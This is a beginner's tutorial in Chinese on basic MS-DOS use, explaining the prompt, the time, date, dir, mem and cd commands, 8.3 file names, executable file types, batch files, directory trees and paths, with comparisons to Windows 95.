在DOS環境下,開機後,我們面對的不是桌面和圖標,而是這樣的電腦屏幕:這個C:\>叫做提示符,這個閃動的橫線叫做游標。這樣就表示電腦已經准備好,在等待我們給它下命令了。我們現在所需要做的,就是對電腦發出命令,給電腦什麼命令,電腦就會做什麼。那我們又怎麼向電腦發布命令呢?
很簡單。比如,我們想看看現在幾點鍾了,就可以輸入時間命 令,敲入time四個字母,它在英文中是「時間」的意思,再敲回車鍵加以確認,這時屏幕上就顯示出當前時間。
再敲回車鍵,瞧!又出現提示符了,就可以輸入下一條命令了。
如果想看日期,輸入date,然後敲回車鍵確認。
這時屏幕上顯示出當前日期。再敲回車鍵就回到提示符下。
這就是DOS的命令輸入方法,和 Windows 95中用滑鼠尋找圖標來運行程序不同,DOS中是通過輸入英文命令加回車鍵這種方式來執行程序的。
怎麼樣,和Windows 95完全不一樣吧?在字元界面下,我們只能通過鍵盤輸入字元來指揮電腦工作,電腦完成一個命令後,出現下一個提示符,我們就又可以給電腦下命令了。注意,在DOS下電腦一次只能做一件事,做完以後才能開始下一件事;而在95下,我們可能讓電腦同時干幾件事,比如,我們可以一邊拷貝文件,一邊寫文章,一邊瀏覽Internet。所以人們把DOS稱為單任務的操作系統,而把 Windows 95稱為多任務的操作系統。
在DOS中,文件與目錄是最重要的概念,這和95一樣,不同的是,「目錄」在95中叫做「文件夾」。
如果我們想查看電腦中的文件,可以輸入dir命令,然後回車。下面是我電腦屏幕上顯示的結果。
如圖所示,後面帶有<dir>的是目錄,沒有的則是文件,這些目錄里都分門別類地存放著許多不同用途的文件。你看,第一排是DOS目錄,它裡面有許多DOS命令文件和一些輔助信息文件。第二排是WINDOWS目錄,它裡麵包含著許多有關WINDOWS程序的文件。
在DOS中,文件名的規則是8.3形式,即一個文件名由文件基本名和文件擴展名組 成,中間用點「.」隔開,文件基本名由不超過8個英文字母或數字組成,文件擴展名由不超過三個英文字母或數字組成,文件基本名必須有,擴展名可以沒有。
看上圖,第一列的就是「文件基本名」,第二列的是「文件擴展名」。注意:在用dir命令顯示文件列表時,文件基本名和擴展名之間並無「.」分隔符,但你在輸入完整的文件名時必須輸入它。
第三列顯示的是文件的大小,表示它佔用了多少存儲空間,也就是文件包含信息的多少,包含的信息越多,文件就越大;
第四列表示的是文件建立的日期或者是最後被改動的日期,每個文件都有對應的生成時間,就象每個人都有自己的生日一樣,文件的生成時間就是文件形成的時候。時間採用通常的表示方法,由年、月、日組成。
最後一列表示文件生成的具體時間,最後的一個字母a表示上午、p表示下午。
我們再來看看倒數一二行,這些是什麼意思呢。「 10 file(s) 」是要告訴你這個目錄內有 「 10 」個文件,這些文件加起來一共有「 64,692 bytes」大,在這種計算中,每個子目錄也算是一個文件,但它的大小算零。最後一行的是告訴你當前你的工作磁碟上還剩下「 215,735,513 bytes」大小可用的磁碟空間。
如果我們要看看DOS目錄里的文件,那麼我們可以敲dir dos回車,也就是查看DOS目錄的意思,如果敲dir windows回車就是查看windows目錄下的文件的意思。 大家可以試著練習練習dir命令,觀察文件夾下面的東西。
用dir命令來查看磁碟上文件時,你會發現文件後綴(即文件擴展名)有很多種,它們當中大部分都是有一定含義的。
其中凡後綴為exe、com或bat的文件都是可以直接執行的。這些以exe為後綴的文件叫可執行文件;以com為後綴的文件叫命令文件;以bat為後綴的文件叫批處理文件。如果我們要執行這些文件,只需在提示符下敲入文件基本名然後回車即可,不需輸入文件後綴。
比如第一行的這個文件叫format.com,其後綴名為com,如果我們要執行它,只需在提示符下敲入文件基本名然後回車即可,不需輸入後綴名。(這其實是我們後面要學的格式化命令format,不要試著按畫面上的提示文字輸入,否則你A盤上的資料就要沒了,等學了後續章節後,你明白了這個命令後再試,現在千萬不要亂用!!!)
又比如,第二行的這個文件mem.exe,其後綴是exe,也是一個可以執行的文件,它的功能是查看電腦目前內存的佔用情況。在提示符下敲mem,然後回車。(這個命令沒問題,你可以試試看)
這里顯示了電腦總共有多少內存,現在使用了多少,還剩多少,以及使用了多少基本內存,還剩下多少基本內存等情況,這些在下面將有詳細解釋。
當我們在c盤的根目錄下查看文件時,往往會看到這個 autoexec.bat 文件,其後綴是bat,說明它是一個批處理文件,也是可以直接執行的。
所謂批處理,就是一下可以執行很多條命令,當我們想讓電腦完成一系列任務時,可以一個一個命令的執行,也可以將這些命令都裝入一個文件中,只要敲一下這個文件名,電腦就會將這一批命令一次執行完畢。
在實際操作中,我們經常會建立一些批處理文件,來完成許多有著固定步驟的煩瑣工作。現在,你已經知道電腦中哪些文件對你直接有效了,它們就是以com、exe或bat為後綴的文件。
所以,當你拿到一個新軟體時,首先就可以用dir命令查看有沒有以它們為後綴的文件,一般情況下,你都能找到一個或幾個這樣的文件,你大可放心地去執行它們,其中必然有一個是對的,錯了也沒關系,一般不會有太大的影響。
在DOS中,有個當前目錄的概念,就是提示符所顯示的目錄,現在的提示符是C:\,那麼當前目錄就是C盤的根目錄,這個\(反斜杠)就表示根目錄。
如果要更改當前目錄,那麼可以用cd命令, 比如我們輸入 cd dos ,就表示更換當前目錄為dos目錄,回車後, 你看,提示符變成了C:\DOS,這就表示當前目錄變成了C盤的DOS目錄了,當前目錄有什麼意義呢?
在這里,我們輸入dir試試,看,現在列出的文件已經不是剛才看見的了,這些都是DOS目錄里的文件,這就說明,dir命令列出的,是當前目錄中的內容。還有,就是在我們輸入可執行文件名時,DOS會在當前目錄中尋找該文件,如果沒有該文件,DOS會提示錯誤信息。
那麼目錄是什麼結構的呢?目錄是樹形結構的,你看,下面是一個目錄結構的示意圖,這個C:表示最上面的一層目錄,叫做根目錄,其它的目錄都是根目錄的子目錄,如DOS,WINDOWS,TOOLS等,而DOS,WINDOWS目錄自己也有子目錄,象DOS下的TEMP目錄,WINDOWS下的SYSTEM目錄。
我們用CD命令來改變當前目錄,輸入 CD DOS ,那麼當前目錄就變成了 DOS,有時我們把改變當前目錄為一個子目錄叫做進入該子目錄,那麼我們現在就是進入了DOS目錄,再輸入 CD TEMP ,那麼我們又會進入TEMP目錄了,如何退出TEMP目錄呢? 只要鍵入 CD .. ,回車,我們就可以回到DOS目錄了。在DOS中,這個兩點就表示當前目錄的上一層目錄,一個點表示當前目錄,有時,我們叫上一級目錄為父目錄。 再輸入 CD .. ,然後回車,我們就回到了C盤的根目錄。
進入一個目錄的子目錄並不需要用CD命令一層一層進入,可以用一行命令完成,比如要進入 WINDOWS目錄下的SYSTEM子目錄,只要輸入 CD WINDOWS\SYSTEM 就可以了,也可以輸入 CD C:\WINDOWS\SYSTEM ,如果要回到根目錄,那麼也不必多次輸入 CD .. 來完成, 可以直接輸入 CD \ ,\就表示根目錄。
在子目錄中用dir命令列文件列表時,我們會發現,.和..都算作文件數目,但大小為零。
如果我們要更換當前目錄到硬碟的其它分區該怎麼辦呢?當然不是使用CD,否則我就不用說了,這時應該輸入盤符然後回車。比如要到D盤,那麼就輸入 D: ,然後回車,瞧,現在提示符就變成D:\>了。 再用dir命令,就是列出D盤的文件了。
實際上,要完整地表達一個子目錄應該是盤符加目錄,比如C: \DOS\TEMP,那麼完整地表達文件呢?就是盤符加目錄加文件名,比如C:\DOS\TEMP\ME.TXT,C:\DOS\TEMP\就叫做ME.TXT的路徑。
剛才我們說過,輸入可執行文件名時,DOS會在當前目錄中尋找該文件,如果找不到,會提示錯誤的文件名,但是我們不是一定要把當前目錄更換到文件所在的目錄才能運行它的,可以在文件名前加上完整的路徑就可以了,比如我們現在的當前目錄是C:\DOS,我們要運行D:\TEST\PCT.EXE,那麼我們可以直接輸入D:\TEST\PCT.EXE回車,這樣我們不改變當前目錄就可以執行其它目錄下的文件。